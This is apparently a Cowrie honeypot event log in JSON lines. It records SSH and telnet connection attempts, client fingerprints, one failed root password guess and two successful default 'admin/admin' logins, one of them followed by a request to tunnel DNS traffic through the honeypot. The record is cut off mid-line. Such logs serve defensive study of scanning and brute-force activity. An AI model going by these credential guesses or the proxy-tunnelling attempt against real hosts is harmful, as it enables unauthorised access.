{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":41258,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9ddfe447a66","protocol":"telnet","message":"New connection: 103.157.135.60:41258 (10.17.0.5:23) [session: c9ddfe447a66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:34.264100Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":43384,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ed5403f8cdd","protocol":"telnet","message":"New connection: 103.157.135.60:43384 (10.17.0.5:23) [session: 5ed5403f8cdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:34.362148Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.130","src_port":36590,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8e6580ebb20","protocol":"ssh","message":"New connection: 37.143.61.130:36590 (159.203.135.109:22) [session: c8e6580ebb20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:35.098796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:35.388751Z","src_ip":"37.143.61.130","session":"c8e6580ebb20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:35.493798Z","src_ip":"37.143.61.130","session":"c8e6580ebb20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.314831972122192,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:37.313287Z","src_ip":"45.87.43.158","session":"422882aef490","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.649182081222534,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:40.676752Z","src_ip":"103.157.135.60","session":"787a9c1c5013","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.472567081451416,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:40.825465Z","src_ip":"136.144.203.5","session":"6c007164eca6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":58660,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa870d3c32c1","protocol":"telnet","message":"New connection: 45.87.43.158:58660 (159.203.135.109:23) [session: fa870d3c32c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:40.958800Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdfg2024","message":"login attempt [root/Asdfg2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:44.388472Z","src_ip":"37.143.61.130","session":"c8e6580ebb20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.4","message":"Connection lost after 10.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:45.505865Z","src_ip":"37.143.61.130","session":"c8e6580ebb20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":38458,"dst_ip":"10.17.0.5","dst_port":23,"session":"8caca81d9e7d","protocol":"telnet","message":"New connection: 103.157.135.60:38458 (10.17.0.5:23) [session: 8caca81d9e7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:46.794631Z"}
{"eventid":"cowrie.session.closed","duration":30.781350135803223,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:47.124775Z","src_ip":"45.87.43.158","session":"62464ff72a87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.203.5","src_port":54470,"dst_ip":"159.203.135.109","dst_port":23,"session":"8dbca7ff9ba8","protocol":"telnet","message":"New connection: 136.144.203.5:54470 (159.203.135.109:23) [session: 8dbca7ff9ba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:48.884479Z"}
{"eventid":"cowrie.session.closed","duration":31.517847061157227,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:49.233721Z","src_ip":"103.157.135.60","session":"9898218ee848","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65381669998169,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:49.641490Z","src_ip":"103.157.135.60","session":"891eab76912c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":43960,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ff8cbba3204","protocol":"telnet","message":"New connection: 103.157.135.60:43960 (10.17.0.5:23) [session: 1ff8cbba3204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:50.727833Z"}
{"eventid":"cowrie.session.closed","duration":31.313361644744873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:51.669875Z","src_ip":"103.157.135.60","session":"04b97b8bf8c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.710460901260376,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:51.726901Z","src_ip":"103.157.135.60","session":"a53fd92f55f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30928611755371,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:52.779395Z","src_ip":"103.157.135.60","session":"e2798235602c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":63292,"dst_ip":"10.17.0.5","dst_port":22,"session":"48bd1b8ed9a1","protocol":"ssh","message":"New connection: 87.251.64.176:63292 (10.17.0.5:22) [session: 48bd1b8ed9a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:53.615698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:53.620347Z","src_ip":"87.251.64.176","session":"48bd1b8ed9a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.328253507614136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:53.689845Z","src_ip":"103.157.135.60","session":"b2917c36d31f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:53.719893Z","src_ip":"87.251.64.176","session":"48bd1b8ed9a1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:54.008801Z","src_ip":"87.251.64.176","session":"48bd1b8ed9a1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:54.107726Z","session":"48bd1b8ed9a1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:54.205514Z","src_ip":"87.251.64.176","session":"48bd1b8ed9a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:54.304846Z","src_ip":"87.251.64.176","session":"48bd1b8ed9a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.837310075759888,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:54.497954Z","src_ip":"103.157.135.60","session":"1d94a18f3651","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":45200,"dst_ip":"10.17.0.5","dst_port":23,"session":"060db967f21d","protocol":"telnet","message":"New connection: 139.162.207.207:45200 (10.17.0.5:23) [session: 060db967f21d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:55.772262Z"}
{"eventid":"cowrie.session.closed","duration":31.652097940444946,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:56.287486Z","src_ip":"103.157.135.60","session":"4295bd8a0926","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.736876249313354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:56.673148Z","src_ip":"103.157.135.60","session":"b487d6ad44c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.203.5","src_port":58706,"dst_ip":"159.203.135.109","dst_port":23,"session":"998a1e474533","protocol":"telnet","message":"New connection: 136.144.203.5:58706 (159.203.135.109:23) [session: 998a1e474533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:56.891635Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":58330,"dst_ip":"10.17.0.5","dst_port":23,"session":"142eea044f88","protocol":"telnet","message":"New connection: 103.157.135.60:58330 (10.17.0.5:23) [session: 142eea044f88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:57.296416Z"}
{"eventid":"cowrie.session.closed","duration":31.24532175064087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:57.717213Z","src_ip":"103.157.135.60","session":"9d1f529545e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.010900020599365,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:58.333739Z","src_ip":"139.162.207.207","session":"86a84a34035e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.060545206069946,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:59.688270Z","src_ip":"103.157.135.60","session":"9b276d5d804d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":35582,"dst_ip":"10.17.0.5","dst_port":23,"session":"4478ee3113c7","protocol":"telnet","message":"New connection: 103.157.135.60:35582 (10.17.0.5:23) [session: 4478ee3113c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:00.396949Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":45204,"dst_ip":"10.17.0.5","dst_port":23,"session":"f52d616722be","protocol":"telnet","message":"New connection: 139.162.207.207:45204 (10.17.0.5:23) [session: f52d616722be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:01.177773Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.155.230","src_port":59144,"dst_ip":"10.17.0.5","dst_port":22,"session":"2336e2a5f6ee","protocol":"ssh","message":"New connection: 34.78.155.230:59144 (10.17.0.5:22) [session: 2336e2a5f6ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:04.200258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Fingerprintx-SSH2","message":"Remote SSH version: SSH-2.0-Fingerprintx-SSH2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:04.283803Z","src_ip":"34.78.155.230","session":"2336e2a5f6ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.155.230","src_port":59148,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd543bacccab","protocol":"ssh","message":"New connection: 34.78.155.230:59148 (10.17.0.5:22) [session: fd543bacccab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:04.446291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:04.453018Z","src_ip":"34.78.155.230","session":"fd543bacccab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dde267e50f82fcc16a7e1e7b59b8af71","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256@libssh.org,curve25519-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256@libssh.org","curve25519-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: dde267e50f82fcc16a7e1e7b59b8af71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:04.534521Z","src_ip":"34.78.155.230","session":"fd543bacccab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.63586401939392,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:05.002839Z","src_ip":"103.157.135.60","session":"ab4ad109bef8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74302911758423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:05.007020Z","src_ip":"103.157.135.60","session":"c9ddfe447a66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33300495147705,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:05.695037Z","src_ip":"103.157.135.60","session":"5ed5403f8cdd","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:05.734481Z","src_ip":"34.78.155.230","session":"fd543bacccab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:05.817088Z","src_ip":"34.78.155.230","session":"fd543bacccab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:05.821291Z","src_ip":"34.78.155.230","session":"2336e2a5f6ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.165.181","src_port":43464,"dst_ip":"10.17.0.5","dst_port":22,"session":"66c2920df1a8","protocol":"ssh","message":"New connection: 35.195.165.181:43464 (10.17.0.5:22) [session: 66c2920df1a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:06.642823Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:06.649785Z","src_ip":"35.195.165.181","session":"66c2920df1a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.165.181","src_port":43506,"dst_ip":"10.17.0.5","dst_port":22,"session":"53ad2a7e7d30","protocol":"ssh","message":"New connection: 35.195.165.181:43506 (10.17.0.5:22) [session: 53ad2a7e7d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:08.350831Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:08.431595Z","src_ip":"35.195.165.181","session":"53ad2a7e7d30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:09.256824Z","src_ip":"34.78.155.230","session":"2336e2a5f6ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":54302,"dst_ip":"10.17.0.5","dst_port":23,"session":"85914dba8b5d","protocol":"telnet","message":"New connection: 139.162.207.207:54302 (10.17.0.5:23) [session: 85914dba8b5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:09.345148Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51462,"dst_ip":"159.203.135.109","dst_port":22,"session":"90042db4291d","protocol":"ssh","message":"New connection: 159.203.92.129:51462 (159.203.135.109:22) [session: 90042db4291d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:10.630722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:10.634974Z","src_ip":"159.203.92.129","session":"90042db4291d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","s